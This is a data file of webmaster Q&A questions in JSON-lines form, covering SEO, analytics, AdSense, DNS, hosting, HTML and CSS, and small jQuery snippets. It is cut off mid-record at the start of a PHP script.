{"id":"7006","title":"Revenue through YouTube","text":"Is there anyway I can generate revenue using YouTube `embed` tag on my site? Maybe some kind of AdSense integration to ads showing up in the videos?"}
{"id":"12932","title":"SEO: Similar, but not duplicate, content across several subdomains","text":"I have a website that allows users to find\/submit tips for doing specific fitness activities. The site is structured as \"[activity].example.com\" * example.com * swimming.example.com * lifting.example.com Each subdomain is meant to be a (partially) closed-off community specific to that activity. For example, the swimming subdomain is where all swimming tips are created and shared. However, some tips appear on all of the subdomains (for example, a \"stretching\" tip would most likely appear on all activity pages). The top tips may also be aggregated to the root domain. This has been happening quite a bit, and I'm wondering what the SEO implications are. One example of a site that has a similar setup is reddit. They have their site set up to 301-redirect \"[subreddit].reddit.com\" to \"reddit.com\/r\/[subreddit]\". Presumably this is for SEO purposes. Am I being hurt SEO-wise by having these subdomains? I.e. is Google seeing them as separate sites with duplicate content? Should I structure the site more like reddit with the sub-directory structure instead? I know questions related to this one have been answered, but those are more towards exact duplicate content. Thank you in advance for your help."}
{"id":"49696","title":"\"Unable to review your site\" - AdSense","text":"Please reply to my question and then close it. Now My life is fully depend upon ad sense. Yesterday i have submitted my website for final review of my ad sense account. But today i received a message saying: * * * As mentioned in our welcome email, we conduct a second review of your AdSense application once AdSense code is placed on your site(s). As a result of this review, we have disapproved your account for the following violation(s): Issues: - **Unable to review your site** * * * Please help me to solve this problem. I am very worrying and tense about it. What is the reason for this message?"}
{"id":"12930","title":"How to tell which URLs have fallen out of search engine index","text":"I've had a few pages trimmed from google's indexed number on my sitemap in webmaster tools. How can I tell which pages have been dropped?"}
{"id":"30197","title":"How do I transfter files to this SunOS server?","text":"According to the admin of the webserver, I should be able to use Filezilla to transfer files to the server but I am getting an error. First: I'm able to connect to the remote server using X-Win32 ssh, from my Windows 7 machine: SunOS server.edu 5.10 Generic_120011-14 sun4v sparc SUNW,SPARC-Enterprise-T5220 System type is SUN4V with 65408 MB of memory. server.edu(1): Next, I set up Filezilla for transfering files sftp - using these directions I found on the web. However, this is what I get: Status: Connecting to server.edu:12345... Response: fzSftp started Command: open \"gmcnulty@server.edu\" 12345 Error: Connection timed out Error: Could not connect to server Status: Waiting to retry... Status: Connecting to server.edu:12345... Response: fzSftp started Command: open \"gmcnulty@server.edu\" 12345 Error: Connection timed out Error: Could not connect to server Any point in the right direction would be very helpful."}
{"id":"59158","title":"Migrating to Prestashop to optimize SEO","text":"We are redesigning the frontend of an ecommerce site coded by hand. The client hasn't expressed interest in changing the backend administration but requested us to implement SEO on the site. We consulted with a freelance consultant and strongly suggested for us to migrate to Prestashop to optimze the seo of the site. I'm reluctant since I think that through front-end coding the site can be optimzed for search engines. Another guy told us that if we migrate platform we would lose all the current positioning on search engines. What would be the best approach in this case?"}
{"id":"12939","title":"How can I search DNS records by registrant or admin contact info, email address for example?","text":"I'd like to search for all domain names administered by jon.doe@domain.com for example. Are there any search tools out there that allow such a search?"}
{"id":"52061","title":"Unreachable robots.txt error","text":"I am getting _Unreachable robots.txt error_ whenever I use fetch as Google. I know, on this site there is other queations related my issue. But I also use Google Page Speed test, site is working correctly than getting 91\/100 score. how can I fix it?"}
{"id":"10206","title":"Facebook Comments and page SEO","text":"Facebook's recently launched commenting system for blogs loads comments in an iframe, instead of loading them inline. Since blog comments can often contribute significantly to the page's SEO, is it a good idea to use Facebook's system on my blog? Or, does Google recognize iframe content as a part of the page and treats it as such? (It's noteworthy that Disqus.com does not use iframes and loads all comments inline)"}
{"id":"10202","title":"Google webmaster Verification failed","text":"I have a site created by Ruby on Rails. I had successfully verified the site with Google Webmaster Tools some months ago. However, recently Webmaster Tools has been asking me to verify my site. I tried again to verify my site using Meta tags and HTML files, but now I cannot get it to successfully verify. The error message I get is: \"Verification failed. The connection to your server timed out.\" Since then, Google hasn't been crawling my site's content - though Google still crawls my PDF contents on my site."}
{"id":"24019","title":"Can a Google Penalty affect other sites with same owner, and how not to be recognized as the owner","text":"i have a website with some pretty good ranking and SEO that I don't want to hurt, I have an SEO consultant that is working on it and I know he doesn't do any black-hat stuff. Now I'm launching a new website and I want to try and do the off-page SEO for myself, or hire someone new that I didn't work with yet. I'm afraid that the new guy I hire will use black-hat techniques, spam or things like that, and get the new site penalized. It might even happen if I do the off-page SEO for myself. I might make a mistake , since it'll be my first time doing off-page SEO by myself. I read that if one website is penalized by Google, other sites may also be penalized if they belong to the same owner. As for how Google can recognize that they have the same owner I'm not sure, one idea is according to the Google Webmaster Tools account. Anyway, there might be also other factors that don't occur to me that might cause Google to decide the two websites are connected somehow. Does anyone know if this is true or has any experience with this? How can I make sure the two websites aren't considered connected by Google? And how do I make sure the new website doesn't hurt the old one in case the new SEO consultant uses blackhat techniques and the new site to be penalized?"}
{"id":"37960","title":"where can I find the 'Clicks' metric group in Google Analytics","text":"I believe there is a 'Clicks' metric group in Google Analytics, however I cannot find it and there is little to no documentation on this. Does this still exist in GA and, if so, what report shall I find it in?"}
{"id":"18392","title":"How much percentage of total internet users are online at any given moment?","text":"Also, how does this percentage change during the day? Is it different in developed countries than in developing countries?"}
{"id":"18393","title":"Putting Together HTML, CSS, and JavaScript","text":"Hopefully this question isn't too broad… I am a competent iOS programmer and have some experience with Java (command- line tools). Over the last year or two I've dabbled into HTML, CSS, and JavaScript. Learning iOS and Java, I started with a book ( _Programming in Objective-C_ (Kochan)—it was my first language besides a tiny bit of C) and once I got the syntax down, I would just go to _the_ source of documentation and figure things out. I know the HTML, CSS, and JavaScript syntax, but I don't know how to put it all together into a \"modern\"\/well-designed web page. I can do some some simple formatting, run some scripts, but the layout still looks like it was designed by a 90-year-old bank executive in a cheap suit. I don't see how to put the languages together into a webpage…Given static images, I would not be able to pull together a mockup of the SO site, for example. I know about `<img>` tags and basic CSS position, but it's just not coming together for me. I also find that what little \"official\" documentation (W3Schools) exists is rather shallow and does not do a good job of joining everything together…but that might just be because I'm not familiar with everything. Can anyone recommend any really good resources (web or print, preferably not video, as I'd like to go at my own pace) that can help me? * * * **Addendum:** Coming from a desktop platform, I'm used to things being where they are and having much more control over aspects, primarily UI layout but also data input methods and processing—iOS and Java have much richer libraries than JavaScript. How should I get around this mentality? Does anyone have any personal experience? **Update 1:** Thanks for the replies (This is more for the comments; Daveo's answer is rather helpful). However, I do want to say that it's not the actual design I need help with—it's converting the design into code, not only in mockup\/layout form but also in actual usability."}
{"id":"34587","title":"What meta tag do you use to provide Google with a publication date?","text":"> **Possible Duplicate:** > How does Google recognize publish date of a post I read about the Dublin Core Metadata Initiative and some spotty documentation from Google, but I can't find an official resource. Thanks in advance."}
{"id":"37966","title":"jquery image slider for jquery mobile website","text":"I have found a fancy looking cubic jquery image slider for jquery mobile website here: http:\/\/m.jeep.com\/en\/mobile\/vehicles\/selector.html?app=bmo#&ui- state=dialog Now I want to use this slider in one of my project.But I didn't found any resource of this kind of slider for mobile website in online.Now I need to know if there are this kind of slider on the internet ? Or do you know any useful resource of image slider for mobile site (I didn't find any effective resource)."}
{"id":"8608","title":"DNS NAmeserver Aname and cname records","text":"I am inexperienced in the configuration of DNS and have an issue with dominan hosting set up. I have two domains 'www.mydomain1.com' and 'www.mydomain2.com', with mydomain2 pointed at the same place as mydomain1. The domains were passed to me recently by the person who previoulsy controlled them. I have an account with Fasthosts in the UK. When I accepted the domains I could not access the DNS settings and inquired with fasthosts as to why. The reply was: > The delegate hosting option for both domains were enabled and this is the > reason why you were unable to find the option to edit the advanced DNS > records. > > I have now disabled the delegate hosting option so you can now edit the > advanced DNS records for both domains in your account. When I log into the Fasthost control panel now I can access the DNS controls but both domains have no A record or Cname record set up. I am concerned that Fasthosts have blatted the previous Nameserver entries and set me up on theirs but not added any record. 'www.mydomain1.com' currently still works but 'www.mydomain2.com' does not find the site anymore. I am worried I will lose mydomain1 to as the DNS changes filter through the system. my webhosting is at 'xxx.xxx.xxx.xxx\/mydomain1.com\/' and this is where I want both domains to point. Any advice would be much appreciated. One thing which is confusing me is that because I am on a shared server I have to put 'xxx.xxx.xxx.xxx\/mydomain1.com\/' to get to my site rather than just 'xxx.xxx.xxx.xxx'. The form on Fasthosts for the A name record only allows an IP to be entered - does it add the mydomain1.com\/ onto the end itself? Thanks for any help given - I'm quite worried about this David"}
{"id":"30779","title":"How to estimate what kind of server resources you will require at launch?","text":"How can I go about\/what is the best way of estimating what kind of server resources I will require at the launch of a new project. Let's say for instance I'd gathered 10k users email addresses that opted-in to be informed when we launch. I didn't really want to go for a cloud solution at the moment. Should I just get a reasonably-specced dedicated server and go from there, or should I be looking at services like Amazon EC2? Or should I start out with EC2 for the fully-flexible resources, then once things stabilize I'll be able to sort a fixed hosting deal that is adequate elsewhere? Sub-question: What's a good way of estimating what load a particular application will place on the server per user?"}
{"id":"55697","title":"Tracking key words on Google Analytics","text":"How can I find the key words that people are using to enter my site when they use Google's HTTPS search engine? I am getting \"not provided\" on my Google Analytics when they use HTTPS!"}
{"id":"26728","title":"Hosted website building solution for a multilingual website","text":"I am looking for a hosted website builder \/ toolkit (like **Jimdo** and **Weebly** ), which supports multilingual websites. I would like to create different language versions of my website. The detection of the user's language should be automatic (depending on its browser settings or IP address location). The only website builders which offer a multilingual feature and automatic language detection I have found so far, are **Edicy** and **Webnode**. **Jimdo** offers the creation of multilingual sites but no language detection. Are there any solutions which offer automatic language detection you would recommend?"}
{"id":"2988","title":"Cufon text replacement and IE8 standards mode","text":"I have a perculiar issue. In IE8 standards mode text replaced by `Cufon.Replace` ~~works roughly 50% of the time, the rest of the time~~ the DOM modifications are there (viewed through IE developer toolbar in IE8) but no text actually appears. Sometimes have to refresh the page a number of times to be able to recreate it; others it works first page load - this is the case for a site you have never visited. The Cufon.Replace isn't throwing an exception or producing any other issue. Googling hasn't helped - others mention issues in IE8, but this lack of text is permanent and not just a slow loading issue. **EDIT** : Interestingly wrapping the `Cufon.replace` in the `$(document).ready(function(){});` stopped it from ever working! Something in the DOM is to blame... I presume **EDIT 2** : Applying the Cufon.replace manually once the page has fully loaded works. This is strange. Is there a later event than ready?"}
{"id":"14690","title":"Data on male\/female online buying patterns","text":"Looking for data on the buying pattern for males vs females online: * Percent of transactions (with estimated count of total transactions) * Percent of total dollar value (with estimated total in US-Dollars) * Any additional information. If possible, within the US only; but additional information is a bonus."}
{"id":"14693","title":"Do search engines care about case sensitivity of HTML tags and JavaScript functions?","text":"Which is better for SEO ? **HTML** 1. `<p id=\"hello\"><\/p>` 2. `<p id=\"HELLO\"><\/p>` 3. `<p id=\"Hello\"><\/p>` 4. `<p id=\"hELLO\"><\/p>` **JAVASCRIPT** 1. `function hello(){}` 2. `function HELLO(){}` 3. `function Hello(){}` 4. `function hELLO(){}`"}
{"id":"4475","title":"Is there an easy way to do referrer based advertising?","text":"This a bit of a weird question so please let me know if you need more information. For a side project I am working on I need to ability to generate advertising on a specific page based on a specified domain. I have looked a bit and haven't found anything that really fits this so I'm hoping someone here has a service like this or can push me in the correct direction. I'm not super interested in finding my own advertiser\/rolling my own solution currently (not to say it wont happen in the future), looking for more of an out of the box solution. Clarification: The advertising on this page will be generated based upon the referral URL. So in other words instead of the advertising content being contextual to the page it is delivered on.. it is contextual to a domain\/URL. TYIA"}
{"id":"2986","title":"Which web standard definitions could be clearer and how?","text":"Discussions of web standards frequently describe their official definitions as \"impenetrable\", \"confusing\" and \"messy\", almost as if this is self-evident. I can't remember having seen a web specification praised for it's clarity. I'm interested whether the community thinks this is justified. Which web standard specs have you had cause to refer to and have found inaccessibly defined or written? How would you improve them? Or, which have you found to be clear and helpful? * * * Fitting with the theme: Answers SHOULD cover one specification only. Constructive criticism, linking to the spec in question and quoting examples are RECOMMENDED."}
{"id":"24372","title":"HTML heading and html special characters","text":"I'm trying to edit a index.html file but in my heading my html special character code is not showing on the screen. Example: <h5>Souscrire à infolettre<\/h5> This should display as \"`Souscrire à infolettre`\" but the `à` isn't showing."}
{"id":"68256","title":"404 code\/header for search engines, on removed user content?","text":"I just got an email, from a former user on my website He was complaining that Google still shows the contact page he created on my site, even though he deleted it a month ago This is the first time in many years anyone requests this I told him, that it's almost entirely up to Google what content it wants to keep\/show and for how long. If it's deleted on the site, I can't do much, other than request a re-visit from the googlebot The user-page already now says something like \"Not found. The user has removed the content\" TL;DR: But the question is: Should I generally add a 404 header (or other) for dynamic user content that has been removed from the site? Or could this hurt the site (SEO)?"}
{"id":"68254","title":"Display Call To Action bar on page load","text":"I am using the following code to load the bar on click but I can't figure our how to load it on page load automatically. <script> var autohide; $('body').prepend('<div id=\"bn-bar\"><b>DON\\'T MISS OUT!<\/b> Only 9 seats remain for the Google Tag Manager training on May 22! <a href=\"#\">Book Your Seat Today!<\/a><div id=\"hider\"> <\/div><\/div>'); $(document).ready(function(){ $(\"#hider\").click(function(){ $(\"#bn-bar\").animate({ top: \"-50\" }, \"fast\",\"linear\", function(){}); }) $(\"#bn-bar\").mouseover(function(){clearTimeout(autohide);}); setTimeout(function(){$(\"#bn-bar\").animate({top: \"0\"}, \"slow\",\"linear\", function(){});},2500); autohide = setTimeout(function(){$(\"#bn-bar\").animate({top: \"-30\"}, \"fast\",\"linear\", function(){});},10000); }) <\/script> Basically I am trying to load a the message when user enters my website and I will be inserting it via Google Tag Manager. Below is a page where I found the code: Creative Tag Manager – Ads, Promotions, and Visitor Messaging -Lunametrics"}
{"id":"68923","title":"Can HTML sitemaps easily be created from XML sitemaps?","text":"I would like to create an HTML sitemap from a .xml file and was wondering if this could be done?"}
{"id":"68924","title":"How to use Schema.org for Adverts on a website - WPAdBlock","text":"I'm trying to use schema.org to indicate advertisements on my website. I'm concerned that putting adverts within the content of a blog page will hurt my SEO and I'm hoping using schema might help make things clear to search engines. This is what I have so far, an image with a link. <div itemscope itemtype=\"https:\/\/schema.org\/WPAdBlock\"> <a href=\"\" itemprop=\"url\"><img src=\"\" itemprop=\"image\"><\/a> <\/div> * is the above schema I'm using correct? * should I rather be inserting these adverts with javascript or jquery rather than just html? I am not using an ad network these are custom ads."}
{"id":"42500","title":"Facebook thinks my site may be unsafe!","text":"> **Possible Duplicate:** > Website falsely blocked because of spam. Does anyone know how we should > proceed? Whenever anybody clicks on a link that I've posted on any Facebook Page (including my page http:\/\/www.facebook.com\/GalaxyS4.info) to my website (http:\/\/www.galaxy-s4.info\/) they get directed to an warning message which reads: > Facebook thinks this site may be unsafe. If you're not familiar with it, > please provide feedback by marking it as spam (you'll be brought back to > Facebook) Any idea why this is happening? Μy site is safe and not a spam site! I've checked with Google Webmaster tools - no issues or malware. I tried to contact facebook to resolve this issue but no lack until now. **Can anyone suggest what to do?**"}
{"id":"68250","title":"IP blocked because: (smtpauth) Failed SMTP AUTH login from - can someone explain?","text":"Today I had a few users blocked in our server firewall because of: (smtpauth) Failed SMTP AUTH login from Can someone explain the reason? What does it exactly mean? Could someone be using the our website to access SMTP for spamming purpose? UPDATE: Server info: Centos OS with CPanel and WHM. However no one has access to either. Taking a look at the logs it looks like someone repetitively attempted to login with a known existent user\/pass."}
{"id":"47826","title":"Ajax crawling : snapshot page dissimilar with user page","text":"For ajax-crawling purpose I make snapshots pages. My problem is user view pages and snapshot pages are dissimilar (tags `h1`, `h2`...). Example: * user view page: `http:\/\/www.meomap.net\/#!\/place\/1` * snapshots page: `http:\/\/www.meomap.net\/?_escaped_fragment_=\/place\/1` My question is that it is bad or no problem for SEO?"}
{"id":"1015","title":"Any free\/affordable alternatives to Polldaddy?","text":"I'm looking for a free\/cheap embeddable poll that I can just stuff in an iframe - the page I've been tasked to maintain has been created in iWeb, which does not generate anything but the final markup of the page. Polldaddy seems nice, but if you get over 100 responses in a month you're instantly in the $200\/year bracket. Are there any services that are free\/cheaper that will do the same basic thing? What about software I can host myself? I'm willing to toss up a PHP script so long as I can embed it in iWeb's iframe."}
{"id":"1017","title":"Storing credit card details","text":"I need to store credit card numbers for recurring billing through our 3rd party merchant. Are there any standards I need to adhere to regarding the storage of the details? We've been accepting credit cards for years but we used to discard their details as soon as we were done with them. Our customers have requested that we store their details so they don't have to manually pay their subscription fee each month. Moving to PayPal to utilise their subscriptions is not an option. We have to store them, and I need to make sure the storage is safe! We utlise MSSQL 2005 for our data, and everything is already SSL'd."}
{"id":"47820","title":"Will my SEO be hurt by using a \"\/\" to seperate two different ways of reffering to the same thing?","text":"I am building a site that lets people Trade, Buy and Sell Magic the Gathering cards ( a collectable card game) and I'm struggling to fit my main Index pages Title in a manner that will not get concatenated in the results view. So generally the Magic the Gathering name is shortened to \"MTG\" and I want to use both of those keywords in my title. If I go with a title of: **Trade, Buy & Sell Magic The Gathering\/MTG Cards |MTG PeerTrader** will I be hurting myself in the conjoining of the \"Gathering\/MTG\" keywords? I started out with: **Trade, Buy & Sell Magic The Gathering \/ MTG Cards | MTG PeerTrader** but it is just too long :( Thank you in advance!"}
{"id":"67406","title":"How to deal with short-urls that get indexed too in Google?","text":"One of my projects got a major pagerank hit. We debugged to the depths. And there are so many variables, I'm not gonna get into that. While trying to desperately restore our pagerank, I have debugged everything that I possible could. And today I found out, that **Google has indexed our short-urls**. (Under **short-urls** I mean like: **example.com\/post-12-foo-foo-foo-foo-foo- very-lenghty-url** and short it to **exl.to\/p12** ) I have tried to put the short-url in the webmasters tools to deal with it, but I couldn't then. Because it was URL without any hosting behind it, just there for making URLS short to copy. It redirects only. But now, I see there is a way to do with CNAME, straight from the domain keeper. **Google has indexed everything, under that URL with the content.** While I just recently added canonical-tag to show, how these pages should look like. So that means duplicated content? Which is bad right? **So, what is the method for this short-urls against double contenting?** There is no robots.txt, so I cannot even block it. But how else to tell google, its the same site, don't index under these URL's and please, return my pagerank?"}
{"id":"67951","title":"How to redirect a subdomain to the main domain so I can use an SSL certificate?","text":"I have an apache server hosting with one IP address hosting a www and a 'sub' domain using `<virtualhost>`. That worked fine until I needed an EV certificate which works on only 1 domain. It can't be used until I merge these two domains. The subdomain is a directory of the www domain. I can remove the subdomain by removing the appropriate `<virtualhost>` section. How do I redirect traffic from sub.domain.com to `www.domain.com\/subdir`?"}
{"id":"39713","title":"Site indexed on temporary domain before site went live","text":"I made a careless mistake with one of my sites. While developing it I put it on some temporary domain of mine and thought I would remove it after couple of days. That is why I did not included any robots.txt. Then due to some problems I completely forgot about it and did not do anything for 3 weeks. Now the site is completed and when I checked, google indexed all of its pages on my old domain. Now I need to launch the site with the same content and I fear Google might think of the actual website as spam. What should I do to rectify it? I cannot wait for it to de-index. I know it was stupid and will take care of it in future. But for such situations in future, what things I should keep in mind?"}
{"id":"50192","title":"Meta description or title for post contents","text":"I have a site that has posts without titles. You can think of them as being a lot like Twitter tweets. Should I put the post contents in the `<title>` tag or the meta description tag? If I put the post contents in one of the tags what should I put in the other? My challenge is that we have very short amounts of content with no titles. I want to avoid having too many duplicate titles or descriptions. We have things like user name, full name, date, etc."}
{"id":"49699","title":"How to promote a new social network?","text":"I'm developing social network scripts for clients and this question is often asked by them after the script is released. Beside existing big social networks like `www.facebook.com` (USA), `www.nerofix.com` (Europe) and `www.vkontakte.com` (Russia), how would you promote a new network and where (+ how) to advertise?"}
{"id":"4356","title":"To <p> or not to <p>?","text":"I recently had a debate with a colleague who claimed that a `<div>` tag should be used over a `<p>` tag when formatting paragraphs. The case against the use of `<p>` is that it produces irregular spacing across browsers and it is likely to become obsolete like the `<b>` tag. Is this opinion of the `<p>` tag shared by the community?"}
{"id":"4352","title":"How to explain XSS to common web owner\/user?","text":"How would you explain cross-site scripting vulnerability to a non-programmer (common web user)?"}
{"id":"28241","title":"Which hosted chat solutions offer the following?","text":"I am looking for a chat room solution similar to the one on StackExchange to facilitate more responsive communication between the contributors on Open- Org.com. My criteria are the following: * No Flash (this rules out more than half) * Full history (meaning that it is possible to access all previous conversation for future reference. * Very customizable * No ugly IRC stuff filling up the chat view (I do not want to see who joined an who left etc.) * No private conversations possible (this is just not in the spirit of Open-org.com) * A hosted solution with a reasonable price. These criteria are so different from this question, so this is not a duplicate question. The service which matches this the closest is Chatroll.com. However, at 199$ per month their prices are outrageous."}
{"id":"11008","title":"What is the 'most common' width and height that websites are being designed for these days?","text":"I'm working on a group project and trying to get my colleagues to submit a drawing regarding their vision for an online application; this application will be viewed through a PC. Although I suspect there is not an industry standard, I am certatin that there must be common approaches for sites with fixed-width layouts. I need to know the most common sense of proportions in the industry. We are going to keep this prototype simple, and therefore will not be detecting browsers, screen widths etc. So, I figured I would ask this in a simple way with the hope of getting a simple answer: **What is the 'most common' width and height that webpages are being designed for most recently.** It would be very helpful if I could site a source when I tell my coleagues why I chose a specific sense of proportions for them to base their drawings on. Please note how I asked this question: * I am not asking for the most common screen resolutions. * I am not asking for the most common browsers. I want to know what dimensions most websites are opting for in regard to fixed-size layouts. I know that people normally scroll and therefore height might not be part of a ~'standard'; in that case, I will settle for the most common width."}
{"id":"28719","title":"Would a 403 page, a blank page and a page redirect be indexed by search robots?","text":"I am wondering if a `disallow` directive needs to be issued to robots on pages that will generate: 1. a 403 forbidden error; 2. a blank page, or; 3. a page redirect (to log in page for example). Would not doing so have any impact on SEO of the site?"}
{"id":"28718","title":"RSS Filter and Compile","text":"Does anyone know of a good way to compile say 20 RSS feeds and generate top news stories out of it? The idea is that we want to have a section on our wordpress site that pulls in feeds from many sources, but I want the best and most relevant articles showing up. I guess it would kind of be a similar concept to Google News."}
{"id":"38142","title":"What is the default behavior of Cache-Control","text":"If no `private` nor `public` were defined in the cache-control, e.g. Cache-Control: max-age=31461276 What is the expected behavior?"}
{"id":"38141","title":"Get reports in Google Analytics for smart phones only (not tablets)?","text":"I'm trying to use Google Analytics to see how mobile phone browsers are performing on my site compared to users with larger displays. If I click the 'mobile' tab I can see goal and ecommerce performance but this includes tablets. How can I exclude tablets from my mobile reporting?"}
{"id":"38144","title":"Will a search engine lower the rank of my page if i have hidden iframes?","text":"As a praxis, all external content on our site is put in iframes to lower the risks of any external parties injecting stuff to our users. We also do it to make sure our content shows up before banners, to make the site feel quicker. We now have an external script running which we want to put in an iframe, but it does not have any visible content to go with it so I want to put css \"visibility: hidden;\" on the iframe. I read in a forum somewhere that search engines will lower the rank of a page, or even drop the page, if a iframe has \"the minimal size of 1x1px\". Will a search engine lower the rank of my page if I have a hidden (or 1px big) iframe?"}
{"id":"47016","title":"Designing for mobile site?","text":"I need to design a mobile site for phones and tablet, should I design for retina and scale down or the opposite? Or should I even design for retina? Thanks"}
{"id":"56852","title":"How can I obtain past webmaster tools warnings\/manual actions on a site with a previous site owner?","text":"I have purchased a legacy domain which was hit by Panda\/Penguin in 2011\/2012 for paid link networks. When I redirected my old site to the new domain I purchased, organic traffic and rankings immediately and significantly declined. I have gone through the link profile of the legacy domain and disavowed all sketchy\/spam paid links. I suspect that a Panda\/Penguin penalty from 2011\/2012 has been recently reactivated or reinstated because of the site move. Is there a way for me to view past webmaster tools manual actions \/ penalties from a previous site owner? With the new way google handles reconsideration requests...if you do not have a current manual action, you CANNOT file a reconsideration request."}
{"id":"11344","title":"Formatting HTML lists using CSS","text":"I'm trying to recreate list in HTML which has clauses and subclauses like this: 1. Main Clause (a) Sub clause (b) Sub clause 2. Another main clause (a) Sub clause The problems I'm running into are: 1. If I use the existing HTML elements (ol and li) there doesn't seem to be a list style for (a) - I can have a. b. c. or A. B. C. but not (a) (b) (c). 2. If I don't use the existing HTML elements and start using span tags, then if a subclause runs beyond the end of the line it appears underneath the clause number, rather than being indented. Like so: (a) Very long subclause which goes over one line when what I really want is the behaviour from lists, which is: (a) Very long subclause which goes over one line Is there any way to get round these two problems at the same time? I'd prefer to use semantic HTML and CSS for styling, but having the clauses spaced correctly is more important than doing things 'the right way'. I may need subsubclauses at some point (i.e. (i), (ii) etc.), so I can't assume that (a) will be the maximum clause depth."}
{"id":"43233","title":"Content Sliders (Nivo Slider) and SEO","text":"With sliders like \"nivo slider\" it slices the image up into segments to perform its transitions. This means you cannot put \"real\" text over the top like you can with other basic transition sliders (e.g. jQuery Cycle) (e.g. in jQuery cycle you could do something like this) <div class=\"aSlide\"> <img src=\"ourImageWithNoText.jpg\" \/> <div class=\"floatText\"> here is some text we can postion over the top of our slide that will move as the slide moves<\/div> <\/div> Now if you have good SEO keywords in your slider (which maybe at the top of the page). You have to slice the text into the main image with nivo and you lose them keywords. Would putting the same information in the title \/ alt tag work just as well? Or is it time to drop Nivo and go back to a slider you can position text over?"}
{"id":"43230","title":"Merged Contents From Other Sites - SEO Effect","text":"I am working on an web app, part of which grab contents from other several sites and show them in a merged way (partial info). Those sites are already dynamic and thus it will be super dynamic\/changeable in every minutes. I was wondering to know, whether I can have seo benefits in this way, (as these are already exists in those external sites)? If doing some anything can help to get SEO on these pages, can you please explain how to achieve a decent SEO effect for these pages? > Just to clarify one mis-understanding, I am not stealing the contents from > other sites.I am using those site's api access to do this and its very much > allowed. My main intention is to merge only the CLOSELY RELATED items into > one place from several sites(using their api, of course), which will > facilitate visitors to see them all in one place and save time from explore > each sites separately. Instead using full contents, I am showing partial, so > that, if a user get interested, then they can explore the full content page > from their real owner sites and I get the credit for affiliation. Hope this > make sense..."}
{"id":"32870","title":"How to use google ecommerce to track the registrations?","text":"I am using the below code for tracking the registrations var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-xxxxxxx']); _gaq.push(['_setDomainName', 'website_name']); _gaq.push(['_trackPageview'],); _gaq.push(['_addTrans', '12121212', 'title', '1.00', '', '', '', '', '' ]); _gaq.push(['_addItem', '12121212', 'title', 'JOb App', 'Email', '1.00', '1' ]); _gaq.push(['_trackTrans']); \/\/submits transaction to the Analytics servers (function() { ... })(); } But my confusion is, _trackPageview is having no value. Is it OK to have NO value ? It is not reporting anything in Google analytics. Thanks"}
{"id":"5709","title":"Alertpay payment: how come customers can change shipping address in the end?","text":"I've the following issue with the payment service Alertpay.com I've a drupal-based website, and I forward customers to Alertpay to insert their credit card information. The issue is that Alertpay offers an option to change shipping address. I really don't like this, because each country has a different shipping rate (included in the total I pass to Alertpay). Consequently a customer could set a country in my website, pay a low shipping rate, and then change the shipping address in Alert Pay without updating the shipping costs. ps. There is also a field shipping_costs in AlertPay parameters, but still Alertpay provides an option to change shipping country. I don't get why, it is not logical. thanks"}
{"id":"51027","title":"Can Google Analytics cause site stability problems under Windows 2000?","text":"Recently we added the code for Google Analytics to our web site. This code was added to a header.asp root include file that is used in all pages of our entire site. Since this was added we began to see different behaviors of our site and in some instances one of the servers was found to not serve web pages for nearly 12 hours (we have a load balanced farm obviously). Are there any issues with the GA piece in an older Windows 2000 IIS environment? Would the placement of the JavaScript code in the header root include file contribute to this issue?"}
{"id":"19116","title":"Where do blogs get their pictures?","text":"I see a lot of blogs that are full of picture galleries, showing celebrities for example, and I wonder how they get all these pictures. Do most blogs just take pictures from Google Images? Or is there another way they get these pictures? What interests me the most is what the legal implications are."}
{"id":"19118","title":"Problem with Google indexing URLs in my XML SiteMap","text":"My XML sitemap has a lot of links - for example: > nanoc.gigfa.com\/post.php?id=1 > nanoc.gigfa.com\/post.php?id=2 > nanoc.gigfa.com\/post.php?id=3 > nanoc.gigfa.com\/post.php?id=4 > nanoc.gigfa.com\/post.php?id=5 I've added my sitemap via Google Webmaster Tools (my site map -> www.nanoc.gigfa.com\/sitemap.php), but Google has only added this page - nanoc.gigfa.com\/post.php?id=1 - from 171 pages. This is the Google Tools result when i submit my sitemap: Sitemap Status Type Downloaded URLs submitted URLs in web index \/sitemap.php OK Sitemap Sep 2, 2011 171 1 Why has Google added only 1 page in web index?"}
{"id":"5702","title":"Big Gorilla Company Compared to Highly Successful Small Company","text":"I am a big fan of 37Signals, and out of curiosity wanted to see the difference between their CRM app (Highrise) and SalesForce's app, in terms of google search rankings and general visitation. Compete shows that 37signals highrisehq.com has 78K users compared to SalesForce's 1.2ML users, but highrisehq.com has a blog read by 100K users and SalesForce does not. More to the point, I get that SalesForce is a Billion dollar company and 37S is not, but I don't know of any content on SalesForce that people regularly go to. Or another way, it seems as though 37Signals never pays for advertisers and SalesForce only does paid advertising. **The question is: what is the best way to compete (i.e. build traffic) against larger companies in addition to building a loyal customer base as 37S has.**"}
{"id":"42393","title":"Google Webmaster tools showing sitemap URL's indexed but not showing up in search results","text":"I have submitted simple text sitemap to Google Webmaster tools and after few days it was crawled, after few more most links were indexed according to GWT but it is not showing those links in google. If I do this search (site:domain.com) I only get few url's instead of a few hundred. Is there a delay between GWT showing that pages are indexed and those pages showing up in search results?"}
{"id":"61331","title":"How to block entire IPs of a VPN server by IP","text":"I have website that identifies users only by their IPs. That makes it very difficult to keep it secure against unwanted users\/attackers. They can simply change their IP by using VPN services that provides them numerous variety of IPs. So what I want is to not just blocking one IP but entire IPs under subnets of a VPN service, once attacker used one of them."}
{"id":"35474","title":"Why blogger puts BR tags only when content served via RSS feed?","text":"I have a problem with using my new blog RSS feed. I wrote a post (the first one) with some code examples formatted by SyntaxHighlighter. To paste a code sample I'm switching from WYSIWYG to HTML view and put the code inside _pre_ tag like this (don't worry, h4 tag was opened a line above the screenshot area):  The problem is that such _pre_ tag, when later accessed via RSS feed contains _br_ tags instead of new line characters. Below is screenshot of the adequate RSS source code:  What's most important **when accessed via www, the post html is formatted fine, no _brs_ inside _pre_**. I verified that by downloading the blog post with wget. So I believe this isn't SyntaxHighlighter issue nor any 'new line' formatting on blog post save. This is a real problem as I want aggregate my blog on employers blog and all formatting of code examples is broken because of that. The base question is: how to get rid of those unwanted _brs_ served via RSS? What's strangest friend of mine also uses blogger for such aggregation and he has no such issue. I checked his RSS feed and there are no _brs_ inside _pre_ tags. We also compared settings of our blogs. However we have found no clue. * The blog post * RSS for the blog (just check source and search for string: pre class=\"brush) * Mentioned friend's blog Last thing: I see content served from RSS is now also html encoded. If I remember well, it wasn't previously. **UPDATE:** I found no solution for this issue nor help anywhere. So I've written short PHP script to filter the feed source. Someone may find it useful so here it is: <?php $url = 